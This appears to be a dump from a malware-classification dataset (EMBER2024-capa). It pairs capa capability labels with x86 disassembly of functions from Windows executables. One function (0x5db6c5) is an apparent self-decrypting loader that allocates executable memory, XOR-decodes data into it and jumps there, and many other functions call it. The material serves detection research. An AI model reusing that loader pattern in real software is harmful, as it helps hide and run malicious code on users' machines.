joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1003b590
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp dword [0x1007fc64], 0
je 0x1003b5a6
xor eax, eax
jmp 0x1003b7c2
cmp dword [0x1007fc60], 0
je 0x1003b5b9
mov eax, dword [0x1007fc60]
jmp 0x1003b7c2
push 0x24
push 0
push 0x1007fc3c
call fcn.10040680
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [0x1007fc3c], eax
push 0
push 0
push str.dbghelp.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov dword [0x1007fc40], eax
cmp dword [0x1007fc40], 0
jne 0x1003b65e
mov dword [0x1007fc64], 1
cmp dword [0x1007fc40], 0
je 0x1003b611
mov eax, dword [0x1007fc40]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [0x1007fc44], 0
mov dword [0x1007fc48], 0
mov dword [0x1007fc4c], 0
mov dword [0x1007fc50], 0
mov dword [0x1007fc54], 0
mov dword [0x1007fc58], 0
mov dword [0x1007fc5c], 0
xor eax, eax
jmp 0x1003b7c2
push str.ImagehlpApiVersionEx
mov ecx, dword [0x1007fc40]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x1007fc44], eax
push str.SymInitialize
mov edx, dword [0x1007fc40]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x1007fc48], eax
push str.SymSetOptions
mov eax, dword [0x1007fc40]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x1007fc4c], eax
push str.SymGetOptions
mov ecx, dword [0x1007fc40]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x1007fc50], eax
push str.SymLoadModule64
mov edx, dword [0x1007fc40]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x1007fc54], eax
push str.SymGetModuleInfo64
mov eax, dword [0x1007fc40]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x1007fc58], eax
push str.SymFromName
mov ecx, dword [0x1007fc40]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x1007fc5c], eax
push 8
push 0
lea edx, [ebp - 0xc]
push edx
call fcn.10040680
add esp, 0xc
mov eax, 0xc
mov word [ebp - 0xc], ax
cmp dword [0x1007fc44], 0
je 0x1003b743
cmp dword [0x1007fc48], 0
je 0x1003b743
cmp dword [0x1007fc54], 0
je 0x1003b743
cmp dword [0x1007fc58], 0
je 0x1003b743
cmp dword [0x1007fc5c], 0
jne 0x1003b748
jmp 0x1003b5f2
lea ecx, [ebp - 0xc]
push ecx
call dword [0x1007fc44]
movzx edx, word [ebp - 0xc]
cmp edx, 0xc
jge 0x1003b760
jmp 0x1003b5f2
push 0
push 0
mov eax, dword [0x1007fc3c]
push eax
call dword [0x1007fc48]
test eax, eax
jne 0x1003b779
jmp 0x1003b5f2
cmp dword [0x1007fc50], 0
je 0x1003b7b3
cmp dword [0x1007fc4c], 0
je 0x1003b7b3
call dword [0x1007fc50]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
and ecx, 0xfffffff8
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
or edx, 0x2704
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
push eax
call dword [0x1007fc4c]
mov dword [0x1007fc60], 0x1007fc3c
mov eax, dword [0x1007fc60]
mov esp, ebp
pop ebp
ret

Function at 0x10054569
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.100543df
Function at 0x443b6d
Capabilities:
Get system information on windows
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x34
push edi
lea eax, [ebp - 4]
push eax
push 0x40137c
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
xor edi, edi
test eax, eax
jne 0x443bdd
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push edi
push 0x4051e0
push dword [ebp - 4]
mov dword [ebp - 8], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x443bd4
cmp dword [ebp - 0xc], 4
jne 0x443bd4
cmp dword [ebp - 0x10], edi
je 0x443bd4
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [0x611298], edi
xor eax, eax
jmp 0x443c1c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [0x611298], edi
jge 0x443c17
lea eax, [ebp - 0x34]
push eax
mov dword [0x611298], edi
call dword [sym.imp.kernel32.dll_GetSystemInfo]
cmp word [ebp - 0x34], di
jne 0x443c17
cmp word [ebp - 0x14], 5
jb 0x443c17
call fcn.005db6c5
test eax, eax
je 0x443c17
emms
mov dword [0x611298], 1
mov eax, dword [0x611298]
pop edi
leave
ret

Function at 0x4ce00e
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xb4
mov eax, dword [0x629890]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp + 0x20]
push ebx
mov ebx, dword [ebp + 0x10]
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp + 0x24]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 0xa4], eax
lea eax, [ebp - 0x98]
push eax
mov dword [ebp - 0xb4], esi
mov dword [ebp - 0xb0], edi
mov dword [ebp - 0x98], 0x94
call dword [sym.imp.kernel32.dll_GetVersionExA]
cmp dword [ebp - 0x88], 2
je 0x4ce10b
mov edi, dword [sym.imp.kernel32.dll_WideCharToMultiByte]
xor esi, esi
push esi
push esi
push esi
push esi
push 0xffffffffffffffff
push ebx
push esi
push esi
call edi
mov dword [ebp - 0xac], eax
add eax, 3
and eax, 0xfffffffc
call fcn.0060a0d0
cmp dword [ebp - 0xac], esi
mov dword [ebp - 0xa8], esp
jne 0x4ce0bc
push 0x40607c
call dword [sym.imp.kernel32.dll_OutputDebugStringA]
mov eax, 0x8876086c
jmp 0x4ce136
push esi
push esi
push dword [ebp - 0xac]
push dword [ebp - 0xa8]
push 0xffffffffffffffff
push ebx
push esi
push esi
call edi
fld dword [ebp + 0x18]
push dword [ebp - 0xa4]
push dword [ebp - 0x9c]
push dword [ebp - 0xa0]
push ecx
push ecx
fstp dword [esp + 4]
fld dword [ebp + 0x14]
fstp dword [esp]
push dword [ebp - 0xa8]
push dword [ebp - 0xb0]
push dword [ebp - 0xb4]
call fcn.005db6c5
jmp 0x4ce136
fld dword [ebp + 0x18]
push 1
push dword [ebp - 0xa4]
push dword [ebp - 0x9c]
push dword [ebp - 0xa0]
push ecx
push ecx
fstp dword [esp + 4]
fld dword [ebp + 0x14]
fstp dword [esp]
push ebx
push edi
push esi
call fcn.005db6c5
lea esp, [ebp - 0xc0]
mov ecx, dword [ebp - 4]
call fcn.0060a5a9
pop edi
pop esi
pop ebx
leave
ret 0x20
Function at 0x5884d2
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
xor ebx, ebx
push esi
xor esi, esi
cmp dword [ebp + 8], ebx
mov dword [ebp - 4], ebx
je 0x58860b
cmp dword [ebp + 0xc], ebx
je 0x58860b
push 0x4215e0
push dword [ebp + 8]
call sub.msvcrt.dll_fopen
cmp eax, ebx
pop ecx
pop ecx
mov dword [ebp + 8], eax
je 0x58860b
push edi
push eax
push 6
lea eax, [ebp - 0x1c]
push 4
push eax
call sub.msvcrt.dll_fread
add esp, 0x10
cmp eax, 6
jne 0x5885ed
cmp dword [ebp - 0x1c], ebx
je 0x5885ed
cmp dword [ebp - 0x18], ebx
je 0x5885ed
cmp dword [ebp - 0x14], ebx
je 0x5885ed
cmp dword [ebp - 8], ebx
je 0x58855a
mov eax, dword [ebp - 0x10]
imul eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x1c]
jne 0x5885ed
push 0x2c
call sub.msvcrt.dll_void____cdecl_operator_new_unsigned_int_
cmp eax, ebx
pop ecx
je 0x588571
mov ecx, eax
call fcn.005883c2
mov esi, eax
jmp 0x588573
xor esi, esi
cmp esi, ebx
jne 0x58857e
mov edi, 0x8007000e
jmp 0x5885f2
cmp dword [ebp - 8], ebx
push dword [ebp - 0x14]
mov ecx, esi
push dword [ebp - 0x18]
je 0x588598
push dword [ebp - 0xc]
push dword [ebp - 0x10]
call fcn.005db6c5
jmp 0x5885a0
push dword [ebp - 0x1c]
call fcn.005db6c5
mov edi, eax
cmp edi, ebx
mov eax, dword [esi]
jge 0x5885b1
push 1
mov ecx, esi
call dword [eax + 0x4c]
jmp 0x5885f2
lea ecx, [ebp - 4]
push ecx
push dword [ebp - 0x1c]
push ebx
push esi
call dword [eax + 0x28]
mov edi, eax
cmp edi, ebx
jl 0x5885f2
mov eax, dword [ebp - 0x14]
imul eax, dword [ebp - 0x18]
push dword [ebp + 8]
shl eax, 2
push dword [ebp - 0x1c]
push eax
push dword [ebp - 4]
call sub.msvcrt.dll_fread
add esp, 0x10
cmp dword [ebp - 0x1c], eax
jne 0x5885ed
mov eax, dword [ebp + 0xc]
mov dword [eax], esi
xor edi, edi
jmp 0x5885f2
mov edi, 0x8876086c
cmp dword [ebp - 4], ebx
je 0x5885fd
mov eax, dword [esi]
push esi
call dword [eax + 0x2c]
push dword [ebp + 8]
call sub.msvcrt.dll_fclose
pop ecx
mov eax, edi
pop edi
jmp 0x588610
mov eax, 0x8876086c
pop esi
pop ebx
leave
ret 8
Function at 0x58861b
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x629890]
mov ecx, dword [ebp + 0xc]
push ebx
xor ebx, ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
xor esi, esi
cmp eax, ebx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x10], ebx
mov word [ebp - 0xc], 0x72
mov word [ebp - 0xa], 0x62
mov word [ebp - 8], bx
je 0x588770
cmp ecx, ebx
je 0x588770
lea ecx, [ebp - 0xc]
push ecx
push eax
call sub.msvcrt.dll__wfopen
cmp eax, ebx
pop ecx
pop ecx
mov dword [ebp - 0x2c], eax
je 0x588770
push edi
push eax
push 6
lea eax, [ebp - 0x28]
push 4
push eax
call sub.msvcrt.dll_fread
add esp, 0x10
cmp eax, 6
jne 0x588752
cmp dword [ebp - 0x28], ebx
je 0x588752
cmp dword [ebp - 0x24], ebx
je 0x588752
cmp dword [ebp - 0x20], ebx
je 0x588752
cmp dword [ebp - 0x14], ebx
je 0x5886bf
mov eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x28]
jne 0x588752
push 0x2c
call sub.msvcrt.dll_void____cdecl_operator_new_unsigned_int_
cmp eax, ebx
pop ecx
je 0x5886d6
mov ecx, eax
call fcn.005883c2
mov esi, eax
jmp 0x5886d8
xor esi, esi
cmp esi, ebx
jne 0x5886e3
mov edi, 0x8007000e
jmp 0x588757
cmp dword [ebp - 0x14], ebx
push dword [ebp - 0x20]
mov ecx, esi
push dword [ebp - 0x24]
je 0x5886fd
push dword [ebp - 0x18]
push dword [ebp - 0x1c]
call fcn.005db6c5
jmp 0x588705
push dword [ebp - 0x28]
call fcn.005db6c5
mov edi, eax
cmp edi, ebx
mov eax, dword [esi]
jge 0x588716
push 1
mov ecx, esi
call dword [eax + 0x4c]
jmp 0x588757
lea ecx, [ebp - 0x10]
push ecx
push dword [ebp - 0x28]
push ebx
push esi
call dword [eax + 0x28]
mov edi, eax
cmp edi, ebx
jl 0x588757
mov eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x24]
push dword [ebp - 0x2c]
shl eax, 2
push dword [ebp - 0x28]
push eax
push dword [ebp - 0x10]
call sub.msvcrt.dll_fread
add esp, 0x10
cmp dword [ebp - 0x28], eax
jne 0x588752
mov eax, dword [ebp - 0x30]
mov dword [eax], esi
xor edi, edi
jmp 0x588757
mov edi, 0x8876086c
cmp dword [ebp - 0x10], ebx
je 0x588762
mov eax, dword [esi]
push esi
call dword [eax + 0x2c]
push dword [ebp - 0x2c]
call sub.msvcrt.dll_fclose
pop ecx
mov eax, edi
pop edi
jmp 0x588775
mov eax, 0x8876086c
mov ecx, dword [ebp - 4]
pop esi
pop ebx
call fcn.0060a5a9
leave
ret 8
Function at 0x58940d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push esi
xor esi, esi
cmp dword [ebp + 8], esi
mov dword [ebp - 8], esi
je 0x58957f
cmp dword [ebp + 0xc], esi
je 0x58957f
push 0x4215e0
push dword [ebp + 8]
call sub.msvcrt.dll_fopen
cmp eax, esi
pop ecx
pop ecx
mov dword [ebp + 8], eax
je 0x58957f
push ebx
push eax
push 8
lea eax, [ebp - 0x2c]
push 4
push eax
call sub.msvcrt.dll_fread
add esp, 0x10
cmp eax, 8
je 0x589468
mov ebx, 0x8876086c
jmp 0x589571
cmp dword [ebp - 0x2c], esi
push edi
je 0x58955d
cmp dword [ebp - 0x28], esi
je 0x58955d
cmp dword [ebp - 0x24], esi
je 0x58955d
cmp dword [ebp - 0x18], esi
je 0x589499
mov eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x2c]
jne 0x58955d
mov eax, dword [ebp - 0x14]
mov edi, dword [ebp - 0x10]
push 0x38
mov dword [ebp - 4], eax
call sub.msvcrt.dll_void____cdecl_operator_new_unsigned_int_
cmp eax, esi
pop ecx
je 0x5894b7
mov ecx, eax
call fcn.0058935c
mov esi, eax
test esi, esi
mov dword [ebp - 8], esi
jne 0x5894c8
mov ebx, 0x8007000e
jmp 0x589562
push dword [ebp - 0x18]
mov ecx, esi
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x24]
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x10]
push dword [ebp - 0x14]
call fcn.005db6c5
mov ebx, eax
test ebx, ebx
jl 0x589562
mov ecx, dword [esi + 0x20]
push dword [ebp + 8]
mov eax, dword [esi + 0x18]
push dword [ebp - 4]
mov dword [ebp - 0xc], ecx
mov ebx, dword [esi + 0x1c]
lea ecx, [edi + 1]
imul ecx, dword [ebp - 0x24]
imul ecx, dword [ebp - 0x28]
shl ecx, 2
push ecx
push eax
call sub.msvcrt.dll_fread
add esp, 0x10
cmp dword [ebp - 4], eax
jne 0x58955d
push dword [ebp + 8]
mov eax, edi
push dword [ebp - 0x2c]
shl eax, 2
push eax
push ebx
call sub.msvcrt.dll_fread
add esp, 0x10
cmp dword [ebp - 0x2c], eax
jne 0x58955d
cmp dword [ebp - 4], 1
je 0x589554
push dword [ebp + 8]
push dword [ebp - 0x2c]
push 4
push dword [ebp - 0xc]
call sub.msvcrt.dll_fread
add esp, 0x10
cmp dword [ebp - 0x2c], eax
jne 0x58955d
mov eax, dword [ebp + 0xc]
mov dword [eax], esi
xor ebx, ebx
jmp 0x589570
mov ebx, 0x8876086c
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x589570
mov eax, dword [ecx]
push 1
call dword [eax + 0x44]
pop edi
push dword [ebp + 8]
call sub.msvcrt.dll_fclose
pop ecx
mov eax, ebx
pop ebx
jmp 0x589584
mov eax, 0x8876086c
pop esi
leave
ret 8
Function at 0x58958e
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x629890]
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
xor esi, esi
cmp eax, esi
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x18], esi
mov word [ebp - 0xc], 0x72
mov word [ebp - 0xa], 0x62
mov word [ebp - 8], si
je 0x58971c
cmp ecx, esi
je 0x58971c
lea ecx, [ebp - 0xc]
push ecx
push eax
call sub.msvcrt.dll__wfopen
cmp eax, esi
pop ecx
pop ecx
mov dword [ebp - 0x10], eax
je 0x58971c
push ebx
push eax
push 8
lea eax, [ebp - 0x38]
push 4
push eax
call sub.msvcrt.dll_fread
add esp, 0x10
cmp eax, 8
je 0x589605
mov ebx, 0x8876086c
jmp 0x58970e
cmp dword [ebp - 0x38], esi
push edi
je 0x5896fa
cmp dword [ebp - 0x34], esi
je 0x5896fa
cmp dword [ebp - 0x30], esi
je 0x5896fa
cmp dword [ebp - 0x24], esi
je 0x589636
mov eax, dword [ebp - 0x2c]
imul eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x38]
jne 0x5896fa
mov eax, dword [ebp - 0x20]
mov edi, dword [ebp - 0x1c]
push 0x38
mov dword [ebp - 0x14], eax
call sub.msvcrt.dll_void____cdecl_operator_new_unsigned_int_
cmp eax, esi
pop ecx
je 0x589654
mov ecx, eax
call fcn.0058935c
mov esi, eax
test esi, esi
mov dword [ebp - 0x18], esi
jne 0x589665
mov ebx, 0x8007000e
jmp 0x5896ff
push dword [ebp - 0x24]
mov ecx, esi
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x30]
push dword [ebp - 0x34]
push dword [ebp - 0x38]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
call fcn.005db6c5
mov ebx, eax
test ebx, ebx
jl 0x5896ff
mov ecx, dword [esi + 0x20]
push dword [ebp - 0x10]
mov eax, dword [esi + 0x18]
push dword [ebp - 0x14]
mov dword [ebp - 0x3c], ecx
mov ebx, dword [esi + 0x1c]
lea ecx, [edi + 1]
imul ecx, dword [ebp - 0x30]
imul ecx, dword [ebp - 0x34]
shl ecx, 2
push ecx
push eax
call sub.msvcrt.dll_fread
add esp, 0x10
cmp dword [ebp - 0x14], eax
jne 0x5896fa
push dword [ebp - 0x10]
mov eax, edi
push dword [ebp - 0x38]
shl eax, 2
push eax
push ebx
call sub.msvcrt.dll_fread
add esp, 0x10
cmp dword [ebp - 0x38], eax
jne 0x5896fa
cmp dword [ebp - 0x14], 1
je 0x5896f1
push dword [ebp - 0x10]
push dword [ebp - 0x38]
push 4
push dword [ebp - 0x3c]
call sub.msvcrt.dll_fread
add esp, 0x10
cmp dword [ebp - 0x38], eax
jne 0x5896fa
mov eax, dword [ebp - 0x40]
mov dword [eax], esi
xor ebx, ebx
jmp 0x58970d
mov ebx, 0x8876086c
mov ecx, dword [ebp - 0x18]
test ecx, ecx
je 0x58970d
mov eax, dword [ecx]
push 1
call dword [eax + 0x44]
pop edi
push dword [ebp - 0x10]
call sub.msvcrt.dll_fclose
pop ecx
mov eax, ebx
pop ebx
jmp 0x589721
mov eax, 0x8876086c
mov ecx, dword [ebp - 4]
pop esi
call fcn.0060a5a9
leave
ret 8
Function at 0x5b5e0e
Capabilities:
Delete file

Disassembly:
mov edi, edi
push ebx
push esi
mov esi, ecx
push edi
mov dword [esi], 0x422f1c
call fcn.005db6c5
lea ebx, [esi + 0x30]
mov ecx, ebx
call fcn.005db6c5
push dword [esi + 0x3c]
call dword [sym.imp.kernel32.dll_CloseHandle]
mov edi, dword [esi + 0x48]
test edi, edi
je 0x5b5e4a
push dword [edi + 0xc]
call sub.msvcrt.dll_free
push edi
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
pop ecx
pop ecx
mov edi, dword [esi + 0x4c]
test edi, edi
je 0x5b5e61
push dword [edi + 0xc]
call sub.msvcrt.dll_free
push edi
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
pop ecx
pop ecx
mov eax, dword [esi + 0x50]
xor edi, edi
cmp eax, edi
je 0x5b5eab
cmp dword [eax], edi
jbe 0x5b5e94
mov eax, dword [esi + 0x50]
mov eax, dword [eax + 0xc]
push dword [eax + edi*4]
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov eax, dword [esi + 0x50]
mov eax, dword [eax + 0xc]
push dword [eax + edi*4]
call sub.msvcrt.dll_free
mov eax, dword [esi + 0x50]
inc edi
cmp edi, dword [eax]
pop ecx
jb 0x5b5e6e
mov edi, dword [esi + 0x50]
test edi, edi
je 0x5b5eab
push dword [edi + 0xc]
call sub.msvcrt.dll_free
push edi
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
pop ecx
pop ecx
mov edi, dword [esi + 0x54]
test edi, edi
je 0x5b5ec2
push dword [edi + 0xc]
call sub.msvcrt.dll_free
push edi
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
pop ecx
pop ecx
cmp byte [esi + 0x5c], 0
je 0x5b5ed8
cmp dword [esi + 0x44], 1
jne 0x5b5ee6
push dword [esi + 0x2c]
call fcn.005db6c5
jmp 0x5b5ee6
cmp dword [esi + 0x44], 1
jne 0x5b5ee6
push dword [esi + 0x2c]
call fcn.005db6c5
push dword [esi + 0x2c]
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
mov eax, dword [esi + 8]
pop ecx
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, ebx
call fcn.005b69f5
lea ecx, [esi + 0x1c]
call fcn.005b918b
pop edi
lea ecx, [esi + 0xc]
pop esi
pop ebx
jmp fcn.005b33bb

Function at 0x5bf250
Capabilities:
Check for software breakpoints

Disassembly:
cmp dword [esi + 0x14], 0xcc
je 0x5bf273
mov eax, dword [esi + 0x1a8]
push esi
call dword [eax]
mov dword [esi + 0x8c], 0
mov dword [esi + 0x14], 0xcc
mov ecx, dword [esi + 0x1a8]
mov eax, dword [ecx + 8]
test eax, eax
je 0x5bf299
mov eax, dword [esi]
push esi
mov dword [eax + 0x14], 0x30
call dword [eax]
mov edx, dword [esi + 0x1a8]
mov eax, dword [edx + 8]
test eax, eax
jne 0x5bf280
mov edx, dword [esi + 0x44]
xor eax, eax
test edx, edx
setne al
add eax, 0xcd
mov dword [esi + 0x14], eax
mov eax, 1
ret
Function at 0x5db6c5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x5db6d4
pop dword [ebp - 0x1c]
mov eax, 0x4a9e6be4
sub eax, 0x4a40b510
sub dword [ebp - 0x1c], eax
push 0x40
push 0x1000
push 0x77703
push 0
mov eax, 0xecc8dd16
sub eax, 0xec88cc1e
add eax, dword [ebp - 0x1c]
call dword [eax]
mov ecx, 0xa8467b2
add ecx, 0xf57bf219
xor esi, esi
add esi, eax
mov edi, 0xb599b3c4
add edi, 0x4acb7a3c
add edi, dword [ebp - 0x1c]
mov ebx, 0xf3f3492
sub dword [ebp - 0x14], 0xebdc8c39
mov edx, dword [edi]
mov dword [ebp - 4], 0xf4eaa543
add edx, ebx
xor dword [ebp - 0x18], edx
mov dword [esi], edx
add dword [ebp - 0x10], edx
add esi, 4
add edi, 4
loop 0x5db72f
add eax, 0x159ff
xor ebx, ebx
add ebx, eax
add eax, 0x76e7d842
sub eax, 0x76e7d83d
mov ecx, 0x6c06246a
add ecx, 0x9439db96
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x422180
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4f4cbb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004e641a
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x422202
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004e377c
mov eax, dword [eax]
push 0x525ce0
push eax
call fcn.004d4734
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004e66a5
test bl, bl
je 0x422202
push 0x525ce0
lea ecx, [esp + 0xc]
call fcn.004e6a35
push 0x525cec
lea ecx, [esp + 0xc]
call fcn.004e6a35
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x42223e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004e66a5
jmp 0x422309
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x4222c2
lea edx, [esp + 0x7c]
push 0x525ce8
push edx
call fcn.004d4734
add esp, 8
test eax, eax
je 0x4222c2
lea eax, [esp + 0x7c]
push 0x525ce4
push eax
call fcn.004d4734
add esp, 8
test eax, eax
je 0x4222c2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x422252
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004e66a5
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x422b00
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x422b62
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x422b70
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4f4d3b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x53f128]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x422ca8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x422bd6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004e66a5
xor eax, eax
jmp 0x422d1f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004e67e2
push esi
lea ecx, [esp + 0xc]
call fcn.004e6a71
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x422cfd
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push connect
call fcn.00422b00
test eax, eax
jne 0x422cfd
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push connect
mov ecx, edi
call fcn.00422b00
test eax, eax
jne 0x422cfd
lea eax, [esp + 0x14]
push 0x525cfc
push eax
call fcn.004d5840
mov esi, eax
add esp, 8
test esi, esi
jne 0x422cdc
lea ecx, [esp + 0x14]
push 0x525cf8
push ecx
call fcn.004d57c0
mov esi, eax
add esp, 8
test esi, esi
jne 0x422cdc
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x422cdf
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004e6792
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x422bee
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004e66a5
xor eax, eax
jmp 0x422d1f
mov byte [esi], 0
push 0x525cf4
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004e66a5
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4